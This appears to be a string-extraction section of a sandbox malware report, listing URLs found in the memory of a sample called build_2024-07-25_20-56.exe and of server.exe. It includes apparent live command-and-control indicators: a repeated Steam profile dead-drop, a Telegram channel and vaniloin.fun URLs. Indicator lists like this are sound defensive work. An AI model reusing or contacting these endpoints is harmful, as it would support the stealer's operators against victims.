Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3367211435.0000000019990000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3363786257.000000001907F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3367211435.0000000019990000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3363786257.000000001907F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2960208392.00000000190A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2960208392.00000000190A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2960208392.00000000190A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://help.steampowered.com/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://help.steampowered.com/en/
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3363786257.000000001907F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.steampowered.com/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://lv.queniujq.cn
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://medal.tv
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2996603846.000000001906C000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: https://mozilla.org0/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://player.vimeo.com
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://recaptcha.net
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s.ytimg.com;
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sketchfab.com
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steam.tv/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steambroadcast.akamaized.net
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 76561199747278259[1].htm.10.dr String found in binary or memory: https://steamcommunity.com/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://steamcommunity.com/discussions/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 76561199747278259[1].htm.10.dr String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199747278259
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://steamcommunity.com/market/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: build_2024-07-25_20-56.exe, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355872691.0000000003FA0000.00000040.00001000.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.000000000254F000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2796849673.0000000003FD0000.00000004.00001000.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259/badges
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259/inventory/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259LeI
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259X6I
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3355872691.0000000003FA0000.00000040.00001000.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2796849673.0000000003FD0000.00000004.00001000.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000400000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259gi_z2Mozilla/5.0
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.000000000254F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259k
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://steamcommunity.com/workshop/
Source: 76561199747278259[1].htm.10.dr String found in binary or memory: https://store.steampowered.com/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/;
Source: 76561199747278259[1].htm.10.dr String found in binary or memory: https://store.steampowered.com/about/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://store.steampowered.com/explore/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://store.steampowered.com/legal/
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://store.steampowered.com/mobile
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://store.steampowered.com/news/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://store.steampowered.com/points/shop/
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: https://store.steampowered.com/privac
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://store.steampowered.com/stats/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002576000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: build_2024-07-25_20-56.exe, build_2024-07-25_20-56.exe, 0000000A.00000002.3355872691.0000000003FA0000.00000040.00001000.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2796849673.0000000003FD0000.00000004.00001000.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000400000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: https://t.me/armad2a
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3355872691.0000000003FA0000.00000040.00001000.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2796849673.0000000003FD0000.00000004.00001000.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000400000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: https://t.me/armad2ahellosqls.dllsqlite3.dllIn
Source: server.exe, 00000009.00000002.2949296578.00000215477C2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://vaniloin.fun/
Source: server.exe, 00000009.00000002.2949630589.0000021547895000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://vaniloin.fun/Coll%C3%A8ge_Ahuntsic
Source: server.exe, 00000009.00000002.2949630589.0000021547895000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://vaniloin.fun/Coll%C3%A8ge_Ahuntsic06
Source: server.exe, 00000009.00000002.2949630589.00000215478AE000.00000004.00001000.00020000.00000000.sdmp, server.exe, 00000009.00000002.2949425012.0000021547805000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2949425012.00000215477E6000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000002.2949630589.00000215478BC000.00000004.00001000.00020000.00000000.sdmp, server.exe, 00000009.00000003.2938513902.00000215477E6000.00000004.00000020.00020000.00000000.sdmp, server.exe, 00000009.00000003.2938342842.0000021547805000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://vaniloin.fun/Coll%C3%A8ge_Ahuntsic?zejw3gqwmp0vw=R8%2Fu9J%2Bj64IFw9x63%2F9aOpnzREOZKM709Pyrb
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3367211435.0000000019990000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3363786257.000000001907F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3400835636.0000000029AF9000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2996603846.000000001906C000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3397373769.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3417674083.00000000359D7000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3430283390.00000000418B3000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.10.dr, freebl3.dll.10.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2960208392.00000000190A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2960208392.00000000190A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/recaptcha/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3367211435.0000000019990000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3363786257.000000001907F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
